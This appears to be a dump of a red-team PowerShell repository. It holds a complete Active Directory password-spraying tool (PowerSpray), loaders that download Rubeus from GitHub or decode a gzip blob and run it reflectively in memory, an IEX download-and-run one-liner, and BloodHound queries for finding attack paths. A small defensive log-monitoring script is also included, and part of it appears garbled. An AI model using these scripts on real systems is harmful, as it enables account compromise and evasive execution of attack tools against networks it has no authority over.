$env:TMP\akjshufrben.txt 33 | #Invoke-Item $env:TMP\akjshufrben.txt 34 | -------------------------------------------------------------------------------- /Invoke-SharpieExec.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-SharpieExec 2 | { 3 | [CmdletBinding()] 4 | Param ( 5 | [Parameter(Mandatory=$true)] 6 | [String] $Command, 7 | [Parameter(Mandatory=$true)] 8 | [String] $Blob 9 | ) 10 | $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String($Blob)) 11 | $decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress) 12 | $output = New-Object System.IO.MemoryStream 13 | $decompressed.CopyTo( $output ) 14 | [byte[]] $byteOutArray = $output.ToArray() 15 | $assem = [System.Reflection.Assembly]::Load($byteOutArray); 16 | #$assem.CustomAttributes 17 | #$assem.EntryPoint |ft Name, ReflectedType, Module, IsPublic 18 | $OldConsoleOut = [Console]::Out 19 | $StringWriter = New-Object IO.StringWriter 20 | [Console]::SetOut($StringWriter) 21 | ([Type]$assem.EntryPoint.DeclaringType.FullName.ToString())::([String]$assem.EntryPoint.Name).Invoke($Command.Split(" ")) 22 | [Console]::SetOut($OldConsoleOut) 23 | $Results = $StringWriter.ToString() 24 | $Results 25 | } 26 | Invoke-SharpieExec -Command "-h" -Blob "" 27 | -------------------------------------------------------------------------------- /Keep-Screen-Active.ps1: -------------------------------------------------------------------------------- 1 | # Define the minimum and maximum interval in minutes 2 | $minInterval = 3 3 | $maxInterval = 7 4 | 5 | # Convert minutes to milliseconds 6 | $minIntervalMs = $minInterval * 60 * 1000 7 | $maxIntervalMs = $maxInterval * 60 * 1000 8 | 9 | # Function to send a keystroke 10 | function Send-KeyStroke { 11 | Add-Type -AssemblyName System.Windows.Forms 12 | [System.Windows.Forms.SendKeys]::SendWait("{SCROLLLOCK}") 13 | } 14 | 15 | # Infinite loop to keep sending keystrokes 16 | while ($true) { 17 | # Send the keystroke 18 | Send-KeyStroke 19 | 20 | # Generate a random interval 21 | $randomInterval = Get-Random -Minimum $minIntervalMs -Maximum $maxIntervalMs 22 | 23 | # Wait for the random interval 24 | Start-Sleep -Milliseconds $randomInterval 25 | } 26 | -------------------------------------------------------------------------------- /PoorManSIEM.ps1: -------------------------------------------------------------------------------- 1 | clear; $ErrorActionPreference = 'SilentlyContinue' 2 | 3 | Function Parse-Event 4 | { 5 | # Credit: https://github.com/RamblingCookieMonster/PowerShell/blob/master/Get-WinEventData.ps1 6 | param 7 | ( 8 | [Parameter(ValueFromPipeline=$true)] $Event 9 | ) 10 | 11 | Process 12 | { 13 | foreach ($Entry in $Event) 14 | { 15 | $XML = [xml]$Entry.ToXml() 16 | $X = $XML.Event.EventData.Data 17 | For ($i=0; $i -lt $X.count; $i++) 18 | { 19 | $Entry = Add-Member -InputObject $entry -MemberType NoteProperty -Name "$($X[$i].name)" -Value $X[$i].'#text' -Force -Passthru 20 | } 21 | $Entry 22 | } 23 | } 24 | } 25 | 26 | Function Write-Alert($Type, $Output) 27 | { 28 | Write-Host "`n`t---------- $($Type) Alert ----------`n" 29 | Write-Host "`t$($Output)`n" 30 | } 31 | 32 | Write-Host "`n`t[+] A Poor Man's SIEM Dashboard! (Ctrl-C to Exit)`n" 33 | 34 | $LogSecurityIndex = (Get-WinEvent -FilterHashtable @{Logname="Security";} -MaxEvents 1).RecordId 35 | $LogForwardedEventsIndex = (Get-WinEvent -FilterHashtable @{Logname="ForwardedEvents";} -MaxEvents 1).RecordId 36 | $LogWindowsPowerShellIndex = (Get-WinEvent -FilterHashtable @{Logname="Windows PowerShell";} -MaxEvents 1).RecordId 37 | $LogWECProcessExecutionIndex = (Get-WinEvent -FilterHashtable @{Logname="WEC-Process-Execution";} -MaxEvents 1).RecordId 38 | 39 | while ($true) 40 | { 41 | Start-Sleep -Seconds 60 42 | 43 | $LogSecurityNewIndex = (Get-WinEvent -FilterHashtable @{Logname="Security";} -MaxEvents 1).RecordId 44 | 45 | #Write-Output "`t[*] Current Log Index: $($LogSecurityNewIndex - $LogSecurityIndex)" 46 | 47 | if ($LogSecurityNewIndex -gt $LogSecurityIndex) 48 | { 49 | # Credit: https://adsecurity.org/?p=3458 50 | Get-WinEvent -FilterHashtable @{Logname="Security";} -MaxEvents ($LogSecurityNewIndex - $LogSecurityIndex) | Parse-Event | sort RecordId | % { 51 | 52 | if (($_.Id -eq 4624) -and ($_.Message -match "Account Name:\s+Administrator") -and ($_.Message -notmatch "Source Network Address:\s+::1") -and ($_.Message -notmatch "Source Network Address:\s+fe80::")) # An account was successfully logged on. 53 | { 54 | Write-Alert "Credential Misuse Detection" "$($_.TimeCreated) - Detected the misuse on the high-vaule account $(($_.Message.Split("`n")[19]).Split("`t")[3])/$(($_.Message.Split("`n")[18]).Split("`t")[3]) from $(($_.Message.Split("`n")[32]).Split("`t")[2])" 55 | } 56 | 57 | if (($_.Id -eq 4625) -and ($_.Message -match "Account Domain:\s+WORKGROUP")) # An account failed to log on. 58 | { 59 | # for u in ` PowerShell.exe -Version 2 OR Start-Job {Get-Process} -PSVersion 2.0 139 | Write-Alert "PowerShell Version Downgrade" "$($_.TimeCreated)) - Detected a PowerShell version downgrade by $(($_.Message.Split("`n")[9]).Split("`t")[1]), $(($_.Message.Split("`n")[11]).Split("`t")[1]), $(($_.Message.Split("`n")[14]).Split("`t")[1]), $(($_.Message.Split("`n")[13]).Split("`t")[1])" 140 | } 141 | } 142 | } $LogWindowsPowerShellIndex = $LogWindowsPowerShellNewIndex 143 | 144 | $LogForwardedEventsNewIndex = (Get-WinEvent -FilterHashtable @{Logname="ForwardedEvents";} -MaxEvents 1).RecordId 145 | 146 | if ($LogForwardedEventsNewIndex -gt $LogForwardedEventsIndex) 147 | { 148 | Get-WinEvent -FilterHashtable @{Logname="ForwardedEvents"} -MaxEvents ($LogForwardedEventsNewIndex - $LogForwardedEventsIndex) | Parse-Event | sort RecordId | % { 149 | # https://docs.microsoft.com/en-us/powershell/scripting/getting-started/starting-the-windows-powershell-2.0-engine 150 | if (($_.Id -eq 400) -and (($_.Message -match "HostVersion=2.0") -or ($_.Message -match "EngineVersion=2.0"))) # Engine state is changed from None to Available. 151 | { 152 | # C:\> PowerShell.exe -Version 2 OR Start-Job {Get-Process} -PSVersion 2.0 153 | Write-Alert "PowerShell Version Downgrade" "$($_.TimeCreated)) - Detected a PowerShell version downgrade by $(($_.Message.Split("`n")[9]).Split("`t")[1]), $(($_.Message.Split("`n")[11]).Split("`t")[1]), $(($_.Message.Split("`n")[14]).Split("`t")[1]), $(($_.Message.Split("`n")[13]).Split("`t")[1])" 154 | } 155 | } 156 | } $LogForwardedEventsIndex = $LogForwardedEventsNewIndex 157 | 158 | $LogWECProcessExecutionNewIndex = (Get-WinEvent -FilterHashtable @{Logname="WEC-Process-Execution";} -MaxEvents 1).RecordId 159 | 160 | if ($LogWECProcessExecutionNewIndex -gt $LogWECProcessExecutionIndex) 161 | { 162 | Get-WinEvent -FilterHashtable @{Logname="WEC-Process-Execution"} -MaxEvents ($LogWECProcessExecutionNewIndex - $LogWECProcessExecutionIndex) | Parse-Event | sort RecordId | % { 163 | if (($_.Id -eq 4688) -and ($_.Message -notmatch "Account Name:\s+.+\$") -and (($_.Message -match "\\powershell.*\.exe") -or ($_.Message -match "\\regedit\.exe"))) # Engine state is changed from None to Available. 164 | { 165 | if ($_.Message -like "*Target Subject:*") 166 | { 167 | Write-Alert "Monitored Process Execution" "$($_.TimeCreated) - $(($_.Message.Split("`n")[5]).Split("`t")[3])\$(($_.Message.Split("`n")[4]).Split("`t")[3]) on $($Exe_Event.MachineName) - $(($Exe_Event.Message.Split("`n")[16]).Split("`t")[2]) $(($Exe_Event.Message.Split("`n")[19]).Split("`t")[2])" 168 | } 169 | else 170 | { 171 | Write-Alert "Monitored Process Execution" "$($_.TimeCreated) - $(($_.Message.Split("`n")[5]).Split("`t")[3])\$(($_.Message.Split("`n")[4]).Split("`t")[3]) on $($Exe_Event.MachineName) - $(($Exe_Event.Message.Split("`n")[10]).Split("`t")[2]) $(($Exe_Event.Message.Split("`n")[13]).Split("`t")[2])" 172 | } 173 | } 174 | } 175 | } $LogWECProcessExecutionIndex = $LogWECProcessExecutionNewIndex 176 | 177 | if($Host.UI.RawUI.KeyAvailable -and (3 -eq [int]$Host.UI.RawUI.ReadKey("AllowCtrlC,IncludeKeyUp,NoEcho").Character)){ return; } 178 | } 179 | -------------------------------------------------------------------------------- /PowerSpray.ps1: -------------------------------------------------------------------------------- 1 | Function PowerSpray { 2 | <# 3 | 4 | .SYNOPSIS 5 | 6 | PowerSpray.ps1 Function: PowerSpray 7 | Author: John Cartrett (@jnqpblc) 8 | License: BSD 3-Clause 9 | Required Dependencies: None 10 | Optional Dependencies: None 11 | 12 | .DESCRIPTION 13 | 14 | This module is a simple script to perform a password spraying attack against all users of a domain using LDAP and is compatible with Cobaltstrike. 15 | By default it will automatically generate the UserList from the domain. 16 | By default it will automatically generate the PasswordList using the current date. 17 | Be careful not to lockout any accounts. 18 | 19 | PS C:\> IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/jnqpblc/Misc-PowerShell/master/PowerSpray.ps1"); PowerSpray 20 | 21 | .LINK 22 | 23 | https://github.com/tallmega/PowerSpray 24 | https://serverfault.com/questions/276098/check-if-user-password-input-is-valid-in-powershell-script 25 | https://social.technet.microsoft.com/wiki/contents/articles/4231.working-with-active-directory-using-powershell-adsi-adapter.aspx 26 | https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing 27 | https://blog.fox-it.com/2017/11/28/further-abusing-the-badpwdcount-attribute/ 28 | 29 | .DETECTION 30 | 31 | [DC01] PS C:\> Get-ADUser -LDAPFilter "(&(objectClass=User)(badPasswordTime=*))" -Prop lastbadpasswordattempt,badpwdcount | Select-Object name,lastbadpasswordattempt,badpwdcount | Sort-Object lastbadpasswordattempt,badpwdcount | format-table -auto 32 | [DC01] PS C:\> $Date = (Get-Date).AddDays(-1); Get-WinEvent -FilterHashTable @{ LogName = "Security"; StartTime = $Date; ID = 4776 } 33 | https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing 34 | 35 | .PARAMETER Passwords 36 | 37 | A comma-separated list of passwords to use instead of the internal list generator. 38 | 39 | .PARAMETER Seeds 40 | 41 | A comma-separated list of passwords to as a seed to the internal list generator. 42 | 43 | .PARAMETER Delay 44 | 45 | The delay time between guesses in millisecounds. 46 | 47 | .PARAMETER Sleep 48 | 49 | The number of minutes to sleep between password cycles. 50 | 51 | .PARAMETER AdSite 52 | 53 | Select what AD Site to connect to: either GetComputerSite() or GetCurrentDomain() for current user. 54 | 55 | .PARAMETER Server 56 | 57 | The server type to use: Either the PDC or a local BridgeHead. 58 | 59 | .EXAMPLE 60 | 61 | PowerSpray 62 | PowerSpray -Delay 1000 -Sleep 10 63 | PowerSpray -Seeds Password,Welcome,Cougars,Football 64 | PowerSpray -Passwords "Password1,Password2,Password1!,Password2!" 65 | PowerSpray -Batch 3 -Delay 0 -Sleep 10 -AdSite Computer -Server PDC 66 | 67 | #> 68 | param ( 69 | [parameter(Mandatory=$false, HelpMessage="A comma-separated list of passwords to use instead of the internal list generator.")] 70 | [string[]]$Passwords, 71 | 72 | [parameter(Mandatory=$false, HelpMessage="A comma-separated list of passwords to use as a seed for the internal list generator.")] 73 | [string[]]$Seeds, 74 | 75 | [parameter(Mandatory=$false, HelpMessage="The delay time between password guesses in milliseconds.")] 76 | [int]$Delay, 77 | 78 | [parameter(Mandatory=$false, HelpMessage="The number of minutes to sleep between password cycles.")] 79 | [int]$Sleep, 80 | 81 | [parameter(Mandatory=$false, HelpMessage="The number of password cycles to try before sleeping. Default is 1.")] 82 | [int]$Batch = 1, 83 | 84 | [parameter(Mandatory=$false, HelpMessage="Set the AD Site to use: User or Computer. Default is Computer.")] 85 | [ValidateSet("User", "Computer")] 86 | [string]$AdSite = "Computer", 87 | 88 | [parameter(Mandatory=$false, HelpMessage="Set the server to be used: PDC or Bridgehead. Default is Bridgehead.")] 89 | [ValidateSet("PDC", "Bridgehead")] 90 | [string]$Server = "Bridgehead" 91 | ) 92 | 93 | # Define the path to the cache file 94 | $cacheFilePath = 'UserList.xml' 95 | 96 | try { 97 | if ($AdSite -eq "User") { 98 | if ($Server -eq "PDC") { 99 | $LogonServer = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name; 100 | } 101 | if ($Server -eq "Bridgehead") { 102 | $LogonServer = [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().InterSiteTopologyGenerator.Name; 103 | } 104 | } 105 | if ($AdSite -eq "Computer") { 106 | if ($Server -eq "PDC") { 107 | $LogonServer = [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain().PdcRoleOwner.Name; 108 | } 109 | if ($Server -eq "Bridgehead") { 110 | $LogonServer = [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().InterSiteTopologyGenerator.Name; 111 | } 112 | } 113 | 114 | # Retrieve the domain controller object using the LDAP path with the LogonServer value 115 | $objDC = [ADSI] "LDAP://$($LogonServer)"; 116 | 117 | # Initialize a new DirectorySearcher object 118 | $Searcher = New-Object DirectoryServices.DirectorySearcher; 119 | 120 | # Set the filter for the search; in this case, we're looking for people with account names that aren't disabled 121 | $Searcher.Filter = '(&(objectCategory=Person)(sAMAccountName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'; 122 | 123 | # Set the PageSize to 1000 for efficient paging of results 124 | $Searcher.PageSize = 1000; 125 | 126 | # Add the "sAMAccountName" property to the list of properties to load for each result 127 | $Searcher.PropertiesToLoad.Add("sAMAccountName") > $Null 128 | 129 | # Set the root of the search to the current domain controller 130 | $Searcher.SearchRoot = $objDC; 131 | 132 | # Check if the cache file exists 133 | if (Test-Path -Path $cacheFilePath) { 134 | # Load UserList from the cache file 135 | $UserList = Import-Clixml -Path $cacheFilePath 136 | $UserCount = $UserList.Count 137 | Write-Output "[+] Successfully loaded $UserCount usernames from cache." 138 | } else { 139 | # Cache file doesn't exist; Retrieve the user list from Active Directory 140 | # Perform the search and save the account names from the results to UserList 141 | $UserList = $Searcher.FindAll().Properties.samaccountname 142 | 143 | # Save the UserList to a cache file 144 | $UserList | Export-Clixml -Path $cacheFilePath 145 | $UserCount = $UserList.Count 146 | Write-Output "[+] Successfully retrieved and cached $UserCount usernames from Active Directory." 147 | } 148 | } catch { 149 | # There was an error connecting to Active Directory, so output an error message and stop the script 150 | $e = $_.Exception.InnerException.Message 151 | Write-Error "[-] Failed to find or connect to Active Directory : $e" 152 | Break 153 | } 154 | 155 | try { 156 | # Throw an exception if UserList is null or empty 157 | if ([string]::IsNullOrEmpty($UserList)) { 158 | Write-Error "[-] Failed to retrieve the usernames from Active Directory or the cache." 159 | Break 160 | } 161 | 162 | # Retrieve and output the lockout threshold for the current domain 163 | $lockoutThreshold = [int]$objDC.lockoutThreshold.Value 164 | Write-Output "[*] The Lockout Threshold for the current domain is $lockoutThreshold." 165 | 166 | # Retrieve and output the minimum password length for the current domain 167 | $minPwdLength = [int]$objDC.minPwdLength.Value 168 | Write-Output "[*] The Min Password Length for the current domain is $minPwdLength." 169 | } 170 | catch { 171 | # Output the error message and exit the script 172 | $e = $_.Exception.InnerException.Message 173 | Write-Error "[-] The was en error getting the lockoutThreshold or the minPwdLength : $e" 174 | Break 175 | } 176 | 177 | $SeedList = @() 178 | $PasswordList = @() 179 | 180 | # Check if 'Passwords' parameter is provided when the script is invoked. 181 | if ($PSBoundParameters.ContainsKey('Passwords')) { 182 | # If provided, assign it to the $PasswordList variable. 183 | $PasswordList = $Passwords 184 | } 185 | # Check if 'Seeds' parameter is provided when the script is invoked. 186 | elseif ($PSBoundParameters.ContainsKey('Seeds')) { 187 | # Generate password list using 'Seeds' if provided. 188 | $PasswordList = Generate-Passwords -SeedList $Seeds 189 | } 190 | else { 191 | # If neither 'Passwords' nor 'Seeds' parameters are provided, 192 | # generate password list using current and neighboring months and seasons as seeds. 193 | 194 | # Get current and neighboring seasons 195 | $SeasonList = 1..3 | ForEach-Object { 196 | Get-Season -Date (Get-Date).AddMonths($_ - 2) 197 | } | Sort-Object -Unique 198 | 199 | # Get current and neighboring month names 200 | $MonthList = 0..2 | ForEach-Object { 201 | (Get-Culture).DateTimeFormat.GetMonthName((Get-Date).AddMonths($_ - 1).Month) 202 | } 203 | 204 | # Generate the password list using a combination of season and month names 205 | $PasswordList = Generate-Passwords -SeedList ($SeasonList + $MonthList) -MinPwdLength $minPwdLength 206 | } 207 | 208 | # Randomly sort the password list. 209 | $PasswordList = $PasswordList | Sort-Object {Get-Random} 210 | 211 | # Validate the Batch and Sleep parameters 212 | if (($null -eq $Batch) -or ($Batch -eq 0)) { 213 | Write-Error "[-] Invalid or missing Batch parameter; the script will exit." 214 | Break 215 | } 216 | if (($null -eq $Sleep) -or ($Sleep -eq 0)) { 217 | Write-Error "[-] Invalid or missing Sleep parameter; the script will exit." 218 | Break 219 | } 220 | 221 | # Check if the password list is null or empty. 222 | if ([string]::IsNullOrEmpty($PasswordList)) { 223 | # If it is, write an error message and stop the script. 224 | Write-Error "[-] The PasswordList variable is empty; the script will exit." 225 | Break 226 | } 227 | 228 | # Write a success message with the count of passwords. 229 | Write-Output "[+] Successfully generated a list of $($PasswordList.Count) passwords." 230 | 231 | # Calculate estimated time to complete the process in hours. 232 | $T2C = $((($PasswordList.Count/$Batch)*$Sleep)/60).tostring("#.##") 233 | 234 | # Write an informational message about the estimated time. 235 | Write-Output "[*] This process should take approximately $T2C hours to complete and will output successful passwords to SuccessLogins.txt" 236 | 237 | # Initialize a counter. 238 | $Counter = 1 239 | 240 | # Write an informational message about the start of password spraying operations. 241 | Write-Output "[*] Starting password spraying operations against $LogonServer. Counter is set to $Counter" 242 | 243 | # Get the domain reference outside the loop, it won't change for each user. 244 | $CurrentDomain = "LDAP://" + $LogonServer 245 | if ([string]::IsNullOrEmpty($CurrentDomain)) { 246 | Write-Error "[-] Failed to retrieve the domain name; the script will exit." 247 | return # Exit script after error. 248 | } 249 | 250 | # Default sleep delay. 251 | $SleepDelay = if ($PSBoundParameters.ContainsKey('Delay')) { $Delay } else { 1000 } 252 | 253 | # Loop through each password in the password list. 254 | foreach ($Password in $PasswordList) 255 | { 256 | Write-Output "[*] Using password $Password" 257 | 258 | # Loop through each user in the user list. 259 | foreach ($UserName in $UserList) 260 | { 261 | # Retrieve the user's badPwdCount attribute using LDAP query 262 | $searchFilter = "(&(objectCategory=person)(objectClass=user)(sAMAccountName=$UserName))" 263 | $attributeList = @("badPwdCount") 264 | 265 | # Initialize a new DirectorySearcher object 266 | $searcher = New-Object System.DirectoryServices.DirectorySearcher 267 | $searcher.Filter = $searchFilter 268 | $searcher.PropertiesToLoad.AddRange($attributeList) 269 | 270 | # Set the root of the search to the current domain controller 271 | $searcher.SearchRoot = $objDC 272 | 273 | # Perform the search and retrieve the first result 274 | $searchResult = $searcher.FindOne() 275 | 276 | if ($searchResult) 277 | { 278 | $badPwdCount = $searchResult.Properties["badPwdCount"][0] 279 | Write-Verbose "User: $UserName, BadPwdCount: $badPwdCount" 280 | } 281 | else 282 | { 283 | Write-Warning "Failed to retrieve badPwdCount for user: $UserName" 284 | Continue # Skip to the next user 285 | } 286 | 287 | # Attempt to authenticate with the current username/password only if badPwdCount is less than two of lockoutThreshold 288 | if (($null -ne $badPwdCount) -and ($badPwdCount -lt ($lockoutThreshold - 2))) 289 | { 290 | try { 291 | $Domain = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain, $UserName, $Password) 292 | $Domain.Dispose() 293 | 294 | # Check if the authentication was successful. 295 | if ($null -ne $Domain.Name) { 296 | $Success = "[+] Successfully authenticated on $CurrentDomain with $UserName::$Password" 297 | Write-Output $Success 298 | # Saving successful logins to a file. 299 | $Success | Out-File -FilePath 'SuccessLogins.txt' -Append 300 | } 301 | } 302 | catch { 303 | # Output the error message and exit the script 304 | $e = $_.Exception.InnerException.Message 305 | Write-Verbose "[-] Authentication failed on $CurrentDomain for $UserName : $e" 306 | } 307 | } 308 | else { 309 | Write-Verbose "[-] Skipping $UserName becuase their badPwdCount is $badPwdCount, and the lockoutThreshold is $lockoutThreshold" 310 | } 311 | 312 | # Sleep for delay duration. 313 | Start-Sleep -Milliseconds $SleepDelay 314 | } 315 | 316 | Write-Output "[*] Completed all rounds with password $Password. Counter was $Counter" 317 | $Counter += 1 318 | 319 | if ($Counter -gt $Batch) 320 | { 321 | $Counter = 1 322 | if ($PSBoundParameters.ContainsKey('Sleep')) { 323 | $Duration = (New-Timespan -Minutes $Sleep).TotalSeconds 324 | $Timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" 325 | Write-Output "[*] [$Timestamp] Now the script will sleep for $Duration seconds. Counter is $Counter" 326 | Start-Sleep -Seconds $Duration 327 | } 328 | } 329 | 330 | } 331 | 332 | Write-Output "[*] Completed all password spraying operations." 333 | 334 | } 335 | 336 | Function Get-Season() { 337 | param ( 338 | [parameter(Mandatory=$true, HelpMessage="Enter a datetime.")] 339 | [datetime]$Date 340 | ) 341 | 342 | # Define the start dates for each season based on the input year 343 | $Winter = Get-Date "01/01/$($Date.Year)" 344 | $Spring = Get-Date "03/20/$($Date.Year)" 345 | $Summer = Get-Date "06/21/$($Date.Year)" 346 | $Autumn = Get-Date "09/22/$($Date.Year)" 347 | $Winter2 = Get-Date "12/21/$($Date.Year)" 348 | 349 | # Determine the season based on the input date 350 | if (($Date -ge $Winter) -and ($Date -lt $Spring)) {return "Winter"} 351 | elseif (($Date -ge $Spring) -and ($Date -lt $Summer)) {return "Spring"} 352 | elseif (($Date -ge $Summer) -and ($Date -lt $Autumn)) {return "Summer"} 353 | elseif (($Date -ge $Autumn) -and ($Date -lt $Winter2)) {return "Autumn"} 354 | else {return "Winter"} # Winter extends into the next year after 21st Dec 355 | } 356 | 357 | 358 | Function Generate-Passwords { 359 | param ( 360 | [string[]]$SeedList, 361 | [int]$MinPwdLength 362 | ) 363 | 364 | # Check if the SeedList is empty 365 | if ([string]::IsNullOrEmpty($SeedList)) { 366 | Write-Error "[-] The SeedList variable is empty; the script will exit." 367 | return 368 | } 369 | 370 | $PasswordList = foreach ($Seed in $SeedList) { 371 | $AppendList = @( 372 | (Get-Date -UFormat %y), 373 | "$(Get-Date -UFormat %y)!", 374 | (Get-Date).Year, 375 | "$((Get-Date).Year)!", 376 | "1", 377 | "2", 378 | "3", 379 | "1!", 380 | "2!", 381 | "3!", 382 | "123", 383 | "1234", 384 | "123!", 385 | "1234!" 386 | ) 387 | 388 | # Generate passwords using the SeedList and AppendList 389 | $PasswordList = $AppendList | ForEach-Object { 390 | $Candidate = $Seed + $_ 391 | 392 | # Check if the password length meets the minimum requirement 393 | if ($Candidate.Length -ge $MinPwdLength) { 394 | $Candidate 395 | } 396 | } 397 | 398 | $PasswordList 399 | } 400 | 401 | return $PasswordList 402 | } 403 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Misc-PowerShell 2 | Miscellaneous PowerShell scripts for red team activities 3 | -------------------------------------------------------------------------------- /SharpDLExec.ps1: -------------------------------------------------------------------------------- 1 | $u = "https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.0_Any/" 2 | $f="Rubeus.exe" 3 | $c = "1" 4 | [byte[]] $a = (New-Object System.Net.WebClient).DownloadData($u+$f) 5 | $assem = [System.Reflection.Assembly]::Load($a); 6 | #$assem.CustomAttributes 7 | #$assem.EntryPoint |ft Name, ReflectedType, Module, IsPublic 8 | ([Type]$assem.EntryPoint.DeclaringType.FullName.ToString())::([String]$assem.EntryPoint.Name).Invoke($c) 9 | -------------------------------------------------------------------------------- /SharpDLExec2.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-Download-Raw-To-Compressed { 2 | [CmdletBinding()] 3 | Param ( 4 | [Parameter(Mandatory=$true)] 5 | [String] $Url 6 | ) 7 | [byte[]] $bytes = (New-Object S ystem.Net.WebClient).DownloadData($Url) 8 | $output = New-Object System.IO.MemoryStream 9 | $gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress) 10 | $gzipStream.Write( $bytes, 0, $bytes.Length ) 11 | $gzipStream.Close() 12 | $encoded = [System.Convert]::ToBase64String($output.ToArray()) 13 | Write-Output $encoded 14 | } 15 | $u = "https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.0_Any/" 16 | $f="Rubeus.exe" 17 | Invoke-Download-Raw-To-Compressed -Url $u$f 18 | -------------------------------------------------------------------------------- /bloodhound-cypher-queries.txt: -------------------------------------------------------------------------------- 1 | # Unconstrained Delegation 2 | MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name,c.operatingsystem ORDER BY c.name ASC 3 | MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectsid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2:Computer {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2.name,c2.operatingsystem ORDER BY c2.name ASC 4 | 5 | # Active Directory Objects 6 | MATCH (g:GPO) RETURN g.name, g.gpcpath ORDER BY g.name 7 | MATCH (o:OU) RETURN o.name, o.guid, o.description ORDER BY o.name 8 | MATCH (o:OU) RETURN count(o.name), o.name ORDER BY count(o.name) DESC 9 | MATCH (o:OU) WHERE o.blocksinheritance=true RETURN o.name, o.guid, o.description ORDER BY o.name 10 | 11 | # Hunting Computers 12 | MATCH (c:Computer) WHERE NOT (toUpper(c.operatingsystem) STARTS WITH 'WINDOWS' OR toUpper(c.operatingsystem) STARTS WITH 'MAC') RETURN c.name, c.operatingsystem ORDER BY c.operatingsystem ASC 13 | MATCH (c:Computer) RETURN c.operatingsystem, COUNT(c.operatingsystem) ORDER BY COUNT(c.operatingsystem) DESC 14 | MATCH (c:Computer) WHERE c.operatingsystem =~ '(?i).*(2000|ME|XP|2003|VISTA).*' AND c.enabled=true RETURN c.operatingsystem, COUNT(c.operatingsystem) ORDER BY c.operatingsystem DESC 15 | MATCH (c:Computer) WHERE c.operatingsystem =~ '(?i).*(2000|ME|XP|2003|VISTA).*' AND c.enabled=true RETURN c.domain, c.operatingsystem, COUNT(c.operatingsystem) ORDER BY c.domain DESC 16 | MATCH (c:Computer) WHERE c.enabled=true RETURN c.domain, COUNT(c.domain) ORDER BY COUNT(c.domain) DESC 17 | MATCH (c:Computer) WHERE c.enabled=true RETURN c.domain, c.operatingsystem, COUNT(c.operatingsystem) ORDER BY COUNT(c.operatingsystem) DESC 18 | MATCH (u:Base) WHERE u.hasspn=true AND u.enabled=true RETURN u.name, u.displayname, u.serviceprincipalnames 19 | 20 | # Hunting Users 21 | MATCH (u:User) WHERE u.userpassword IS NOT NULL RETURN u.name, u.userpassword, u.description 22 | MATCH (u:User) WHERE u.passwordnotreqd=true RETURN u.displayname, u.name, u.description ORDER BY u.displayname ASC 23 | MATCH (u:User) WHERE u.hasspn=true AND u.enabled=true RETURN u.name, u.displayname, u.title, u.description 24 | MATCH (u:User) WHERE u.dontreqpreauth=true AND u.enabled=true RETURN u.name, u.displayname, u.title, u.description 25 | MATCH (u:User) WHERE u.unconstraineddelegation=true RETURN u.displayname, u.name, u.description ORDER BY u.displayname ASC 26 | MATCH (u:User) WHERE u.enabled=true AND u.pwdneverexpires=true RETURN datetime({epochSeconds: toInteger(u.pwdlastset)}) AS pwdlastset, u.name, u.displayname, u.title, u.description, datetime({epochSeconds: toInteger(u.lastlogontimestamp)}) AS lastlogon ORDER BY pwdlastset ASC 27 | MATCH (u:User) WHERE u.title IS NOT NULL RETURN count(u.title), u.title ORDER BY count(u.title) DESC 28 | MATCH (u:User) WHERE u.description IS NOT NULL RETURN count(u.description), u.description ORDER BY count(u.description) DESC 29 | MATCH (u:User) WHERE u.enabled=true AND (u.sensitive=true OR u.admincount=true) RETURN u.displayname, u.name, u.description ORDER BY u.displayname ASC 30 | MATCH (u:User) WHERE NOT u.sidhistory=[] RETURN u.name, u.displayname, u.sidhistory 31 | MATCH p=(u:User)-[r:GenericAll]->() WHERE u.admincount=false RETURN p 32 | 33 | # Hunting Data 34 | MATCH (u:User) RETURN u.homedirectory, COUNT(u.homedirectory) ORDER BY COUNT(u.homedirectory) DESC 35 | MATCH (u:User) WHERE u.homedirectory IS NOT NULL RETURN count(u.homedirectory), u.homedirectory ORDER BY count(u.homedirectory) DESC 36 | 37 | # Hunting Domains 38 | MATCH (d:Domain) RETURN d 39 | MATCH (d:Domain) RETURN d.name, d.functionallevel, d.objectid ORDER BY d.name ASC 40 | 41 | # Research 42 | MATCH (d:Domain) RETURN keys(d) 43 | MATCH (u:User) WITH DISTINCT keys(u) AS keys UNWIND keys AS keyslisting WITH DISTINCT keyslisting AS allfields RETURN allfields; 44 | MATCH (u:User) WHERE u.name STARTS WITH "ADMIN" WITH DISTINCT keys(u) AS keys UNWIND keys AS keyslisting WITH DISTINCT keyslisting AS allfields RETURN allfields; 45 | 46 | # Aggregate Function Research 47 | https://neo4j.com/docs/cypher-manual/current/functions/list/ 48 | 49 | keys() 50 | labels() 51 | nodes() 52 | range() 53 | reduce() 54 | relationships() 55 | reverse() 56 | tail() 57 | 58 | MATCH (u:User) WHERE u.name STARTS WITH "ADMIN" RETURN keys(u) 59 | 60 | # Keys Reference 61 | u: OU, GPO, Base, User, Group, Domain, Computer, ForeignSecurityPrincipal, 62 | 63 | MATCH (u:User) WITH DISTINCT keys(u) AS keys UNWIND keys AS keyslisting WITH DISTINCT keyslisting AS allfields RETURN 